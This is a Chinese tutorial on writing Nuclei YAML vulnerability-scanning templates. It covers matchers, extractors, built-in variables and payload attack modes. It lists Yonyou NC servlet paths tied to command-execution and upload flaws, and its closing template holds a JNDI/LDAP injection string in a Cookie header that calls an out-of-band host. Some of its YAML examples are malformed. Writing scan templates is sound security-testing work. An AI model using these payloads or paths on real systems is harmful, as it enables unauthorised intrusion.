1. 基本知识

  1. 大小写敏感:YAML对大小写敏感
  2. 使用缩进表示层级关系:YAML通过缩进来表示数据的层级结构。缩进时不允许使用Tab键,只允许使用空格键。缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
  3. 注释:使用#符号表示单行注释
  4. 数据类型:YAML支持的数据类型包括对象(键值对的集合)、数组(一组按次序排列的值)、纯量(单个的、不可再分的值,如字符串、布尔值、整数、浮点数等)。
  5. 变量使用:YAML提供了锚点(&)和引用()的语法,用于复用数据*,避免重复定义。
  6. 复合结构:对象和数组可以结合使用,形成复合结构,如在一个YAML文件中定义多个对象或数组。

2. 模板语法

(1). id

  • id不能有中文特殊字符以及空格等内容,id代表着整个POC,是POC的定位符,因此具有唯一性
正确写法:
    seeyon-xxxx-rce
错误写法:
    seeyon--xxxx-rce或 用友 xxxx-rce

id语法出错时的报错内容:
    Could not run nuclei: no templates provided for scan

(2). info

  • 信息块,内容包括名称作者严重性描述 、参考和标签等,一般情况下,我们只需要写入名称、作者、严重性、描述、标签
a. 相关参数
①name
  • 模板名称,建议跟id相同;
②author
  • 作者名称,标识版权的一种方式,可修改;
③severity
  • 严重性,不可以使用中文,一般用criticalhightMediuminfo来表示威胁等级;
④description
  • 漏洞介绍,可以使用中文,也不限制特殊字符,是对漏洞的具体描述;
⑤tags
  • 标签,是为了给漏洞加一个标签,方便进行统一扫描,例如:tags: seeyon(切记不要用中文哈)
b. 实例
id: jindie-EAS-myUploadFile-upload

info:   
  name: jindie-EAS-myUploadFile-upload   
  author: "思沃科技"   
  severity: critical   
  description: "金蝶EAS myUploadFile任意文件上传"
  tags: Kingdee

(3). 匹配/筛选器

a. matchers
①相关参数
    1、size:判断返回包大小 
    2、word :关键词匹配
    3、regex :正则表达式
    4、binary :要为十六进制响应匹配二进制
    5、dsl:匹配协议响应
②实例
  1. 第一种写法

    #检查响应的大小是否大于1000字节
    matchers:  
     - size: ">1000"
    
    #匹配包含 “error” 关键词的响应
    matchers:  
     - word: "error" 
    
    #匹配响应中的版本号:
    matchers:  
     - regex: "Version: (\\d+\\.\\d+\\.\\d+)"  
    
    #如果期望响应的前两个字节是 0x01 0x02:
    matchers:  
     - binary: "0102"
    
    #匹配 HTTP 响应码为 200 的情况:
    matchers:  
     - dsl: "response_code == 200"
    
  2. 第二种写法

#匹配关键字
matchers:
  - type: word
    part: body         
    words:
      - "error"
      - "lost"
    condition: and

#匹配正则表达式内容
matchers:
  - type: regex
    part: body
    regex: 
      - "Version: (\\d+\\.\\d+\\.\\d+)" 

#匹配http响应码
matchers:
  - type: status
    status:  #状态码默认连接关系为or
      -200
      -302
    condition: and    #将默认连接关系改为and

#匹配二进制数据
matchers:
  - type: binary
    part: body
    binary:
      - "504B0304" # zip格式
      - "526172211A070100" # RAR格式
      - "FD377A585A0000" # xz tar.xz 格式
    condition: or

#匹配dsl
req-condition: true
matchers:
  - type: dsl
    dsl:
      - "status_code_1 == 302 && status_code_2 == 200 && contains((body_2), 'test')"
b. extractors
  • 正则表达式提取器,通过该方法,将正则表达式匹配到的内容,提取到指定变量中去使用。
#如果响应中包含类似 “Version: 1.2.3” 的文本,它将提取版本号并存储在名为 version 的变量中。
extractors:  
  - regex:      
      pattern: "Version: (\\d+\\.\\d+\\.\\d+)"      
      target: version
c. JSON提取器
  • 用于从 JSON 块中提取对象的值,同时该提取器也支持赋值。
#如果 JSON 响应包含一个名为 user 的对象,其中有一个名为 name 的属性,它将提取该属性的值并存储在名为 username 的变量中
extractors:  
    - json:      
        path: .user.name      
        target: username
d. Xpath提取器
  • 从 HTML 响应中提取属性值的xpath提取器
#如果 HTML 响应包含一个 <img> 标签,它将提取 src 属性的值并存储在名为 image_url 的变量中
extractors:  
    - xpath:     
        expression: //img/@src      
        target: image_url

3. 块标量

  • YAML 中的块标量(Block Scalar)是一种用于表示多行文本的语法,它能够保留文本的格式(例如换行和缩进)。块标量有三大主要部分:

  • 标量的指示符:使用 |> 来定义块标量的类型。

  • 内容的缩进:决定文本的结构层级。

  • 换行符控制:通过 +- 来控制块标量末尾的换行符。

a. 使用 |保持换行
  • (Literal Block Scalar),当你使用 | 时,YAML 会保留换行符,并将每一行文本按原样保存在输出中。它适用于需要保留多行格式和换行的情况。
①语法
key: |
  This is a block scalar.
  It preserves newlines.
  The text formatting remains intact.
②结果
This is a block scalar.
It preserves newlines.
The text formatting remains intact.
③特点
  1. | 后面的每一行文本会保留换行符,所有换行都在输出中保留。
  2. 文本行前的缩进是有效的,表示文本的层级结构。
b. 使用 > 折叠换行
  • (Folded Block Scalar),当你使用 > 时,YAML 会将换行符折叠为一个空格。折叠块标量适用于长文本,它将多行文本合并为一行,原有的换行符会被替换成空格。
①语法
key: >
  This is a block scalar.
  It folds newlines into spaces.
  This is good for longer text.
②结果
This is a block scalar. It folds newlines into spaces. This is good for longer text.
③特点
  1. > 会将换行符折叠成空格。
  2. 这种格式通常用于描述长文本或日志数据,避免在 YAML 中有太多换行符。
  3. 如果文本中有空行,它们将被忽略,合并为一个空格
c. 使用 + 控制换行符
  • +:会在文本的结尾添加一个换行符。
①示例
key: |+
  This is a block scalar with trailing newline.
  It will include a final newline.
②结果
This is a block scalar with trailing newline.
It will include a final newline.
d. 使用 - 控制换行符
  • -:会移除文本末尾的换行符。
①示例
key: |-
  This is a block scalar with no trailing newline.
  It will not include a final newline.
②结果
This is a block scalar with no trailing newline.
It will not include a final newline.

4. yaml内置保留字

{{Hostname}}:这是一个常用的保留字,表示主机名。
{{randstr}}:这是一个随机字符串。
{{rand_int(1,9999)}}:这是一个生成 1 到 9999 之间随机整数的保留字。
{{BaseURL}}:表示完整的基本 URL,例如 https://example.com:443/foo/bar.php。
{{RootURL}}:表示不包含路径和文件的基本 URL,例如 https://example.com:443。
{{Host}}:表示主机名,例如 example.com。{{Port}}:表示端口号,例如 443。
{{Path}}:表示路径,例如 /seeyon/login。
{{File}}:表示文件名,例如 bar.php。
{{Scheme}}:表示协议,例如 https。
{{hex_decode("")}}:这是一个十六进制解码的保留字。
md5():这是一个 MD5 转换的保留字。

5. 常用变量

(1). 定义变量

  • 在 YAML 中,可以使用 variables 来定义变量,例如下面的代码将"ABCDEFG"的内容保存在名为token的变量中,即 token = “ABCDEFG”
variables:  
  token: "ABCDEFG"
  • 使用方法:将变量放到{{ 变量名}}中去,举个例子,下面请求中的 Authorization头部会使用 token 变量的值
requests:  
    - method: GET    
    path: /api/some-endpoint    
    headers:      
        Authorization: "Bearer {{token}}"

(2). 攻击载荷

  • 在 YAML 中,payloads 用来提供攻击载荷的部分,例如
payloads:      
    变量名: 变量内容
  • 在攻击载荷这里可以选择攻击模式 (Attack),支持的参数有三种:
a. 攻城锤
  • batteringram,只使用一个有效载荷集,例如:
payloads:  
    username: ["admin", "user", "test"]  
    password: ["password123", "123456", "letmein"]
b. 集束炸弹
  • clusterbomb,将尝试所有用户名和令牌的组合
payloads:  
    username: ["admin", "user", "test"]  
    token: ["abc123", "xyz456", "pqr789"]
c. 干草叉
  • Pitchfork,干草叉攻击型为每个位置使用一个有效载荷集。它将第一个有效载荷置于第一个位置,将第二个有效载荷置于第二位置,依此类推
payloads:  
    query: ["admin", "user", "test"]  
    page: [1, 2, 3]

6. 实例

  • 接下来以一个用友的命令执行漏洞作为例子:如下是一批用友bsh.servlet.BshServlet 命令执行的路径,在测试中,我们不希望逐个测试这些链路,因此可以使用 payloads 方法来进行批量扫描。
/service/~baseapp/UploadServlet
/service/ECFileManageServlet
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/nc.bs.framework.mx.MxServlet
/servlet/~uapxbrl/uap.xbrl.persistenceImpl.XbrlPersistenceServlet

(1). 首先定义变量

payloads:  
    yypath:        
        - '/service/~baseapp/UploadServlet'        
        - '/service/ECFileManageServlet'        
        - '/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet'       
        - '/servlet/~ic/nc.bs.framework.mx.MxServlet'        
        - '/servlet/~uapxbrl/uap.xbrl.persistenceImpl.XbrlPersistenceServlet'        
        - '/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet'        
        - '/servlet/~ic/nc.document.pub.fileSystem.servlet.DownloadServlet'        
        - '/servlet/~ic/nc.document.pub.fileSystem.servlet.UploadServlet'       
        - '/servlet/~ic/nc.document.pub.fileSystem.servlet.DeleteServlet'       
        - '/servlet/~ic/com.ufida.zior.console.ActionHandlerServlet'        
        - '/ServiceDispatcherServlet'       
        - '/servlet/~baseapp/nc.message.bs.NCMessageServlet'        
        - '/fs/update/DownloadServlet'       
        - '/service/~cc/nc.bs.logging.config.LoggingConfigServlet'    

(2). 使用变量

requests:  
    - method: GET    
      path: "{{ yypath }}"

7. 模板

id: base  
info:  
  name: base   
  author: msk  
  description: 描述漏洞基本情况  
  severity: info 漏洞等级    
  tags: detect 标签  
  metadata:    #这一级的内容可有可无
    veified: true    
    fofa-query: fofa语法    
    hunter-query: 鹰图语法
http:  
  - raw:      
    - |        
      GET /xxxx/xxx HTTP/1.1        
      Host: {{Hostname}}        
      Connection: keep-alive        
      Cookie: OFBiz.Visitor=${jndi:ldap://{{interactsh-url}}}        
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36        
      Content-Type: application/json;charset=UTF-8        
      user-client: 1
  matchers:      
    - type: dsl        
      dsl:          
        - 'status_code==200 && contains_all(body,"xxx1","xxx2")' # 匹配多个Responses中关键词